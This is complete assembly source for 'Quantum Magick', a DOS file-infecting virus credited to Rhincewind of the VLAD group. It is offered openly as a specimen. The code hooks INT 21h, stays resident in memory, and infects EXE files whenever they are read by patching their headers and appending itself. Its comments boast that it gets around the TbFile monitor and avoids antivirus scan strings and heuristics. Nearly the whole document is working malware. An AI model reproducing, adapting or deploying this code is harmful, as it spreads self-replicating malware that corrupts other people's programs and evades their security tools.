; Quantum Magick, a laboratory specimen by Rhincewind [Vlad]
;
; This is a bit of my older work. Quantum Magick demonstrates the use of
; SFT's to infect programs on file read, which happens to circumvent
; tbfile if it was the command interpreter that originally opened the file.
;
; Some of the code in here has high embarrassment potential, such as the
; kludgey fragment used to avoid the Darth Vader scanstring and heuristics,
; not to mention the use of the jumps directive. Ouch.
;
; The more-than-necessary use of memory pushes and pops and exchanges
; involving the memory banks are just because I felt like it.
;
; And that's that.
.model tiny
.code
jumps
org 0h
start:
push ds
push es
installation_check:
mov ah, 30h
int 21h
cmp bh,30h
jz no_install
cmp al,3
jb no_install
allocate_memory:
push es
pop ax
dec ax
push ax
pop ds
xor si,si
lodsb
xor al, 'Z'
jnz abort_install
add word ptr ds:[si+2], -parasize
add word ptr ds:[si+11h], -parasize
copy_code:
mov es, word ptr ds:[si+11h]
push cs
call next
next:
pop si
pop ds
sub si, offset (next-start)
mov cx, (endvirus-start)
xor di,di
rep movsb
hook_int:
push cx
pop ds
cli
mov ax, offset handler
xchg ax, word ptr ds:[84h]
stosw
mov ax,es
xchg ax, word ptr ds:[86h]
stosw
sti
abort_install:
no_install:
pop es
pop ds
mov bx,ds
add bx,10h
call next2
next2:
pop si
add bx, word ptr cs:[si+(_cs-next2)]
push bx
push word ptr cs:[si+(_ip-next2)]
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
retf
handler:
cmp ah, 3fh
jz viruzz
cmp ah, 30h
jnz no_chk
push ax
call call_int21
pop bx
retf 2
plate db 'Quantum Magick'
no_chk:
jmp dword ptr cs:int21offset
viruzz:
cmp bl,5
jb no_chk
call call_int21
pushf
cmp ax, 18h
jb not_enough_bytes_read
push si
push ax
push cx
push dx
push di
push ds
push bx
push ax
get_sft_address:
mov si, 1220h
xchg si,ax
int 2fh
mov si, 1216h
mov bl, byte ptr es:[di]
xchg si,ax
int 2fh
xor si,si
pop ax
mov bx,dx
xchg ax,cx
call getlen
sub ax, cx
jnz no_start_read
sbb dx, ax
jnz no_start_read
start_read:
mov ax, 'ZM'
xor ax, word ptr ds:[bx]
jnz exit_read
cmp word ptr ds:[bx+18h], 40h
jz exit_read
cmp word ptr ds:[bx+1ah],si
jnz exit_read
cmp word ptr ds:[bx+0ch],si
jz exit_read
call getlen
mov cx, 10h ;Filesize div 16.
div cx
sub ax, word ptr ds:[bx+8]
xchg word ptr ds:[bx+14h], dx ;=CS:IP pair..
xchg word ptr ds:[bx+16h], ax
mov cs:_cs,ax
mov cs:_ip,dx
mov cl,5
shr ax,cl
neg ax
add ax, word ptr ds:[bx+4]
cmp al,5
jb exit_read
call getlen
add ax, (endvirus-start)
adc dx, si
mov cx, 200h
div cx
or dx,dx
jz no_hiccup
inc ax
no_hiccup:
mov word ptr ds:[bx+4],ax
mov word ptr ds:[bx+2],dx
endcalc:
mov dx,bx
pop bx
push word ptr es:[di+2]
push word ptr es:[di+15h]
push word ptr es:[di+17h]
mov byte ptr es:[di+2],2
mov word ptr es:[di+15h], 2
mov word ptr es:[di+17h], si
mov ah, 40h
mov cx, 18h
inc dx
inc dx
int 21h
call getlen
mov word ptr es:[di+15h], ax
mov word ptr es:[di+17h], dx
mov ah, 40h
push cs
pop ds
mov cx, (endvirus-start)
xor dx,dx
int 21h
pop word ptr es:[di+17h]
pop word ptr es:[di+15h]
pop word ptr es:[di+2]
jmp after_file_access
no_start_read:
exit_read:
pop bx
after_file_access:
pop ds
pop di
pop dx
pop cx
pop ax
pop si
not_enough_bytes_read:
popf
retf 2
getlen:
mov ax, word ptr es:[di+11h]
mov dx, word ptr es:[di+13h]
ret
_cs dw 0fff0h
_ip dw 0
call_int21:
pushf
call dword ptr cs:int21offset
ret
endvirus:
int21offset dw ?
int21seg dw ?
parasize equ ((endvirus-start)/16)+2
end start
- VLAD #3 INDEX -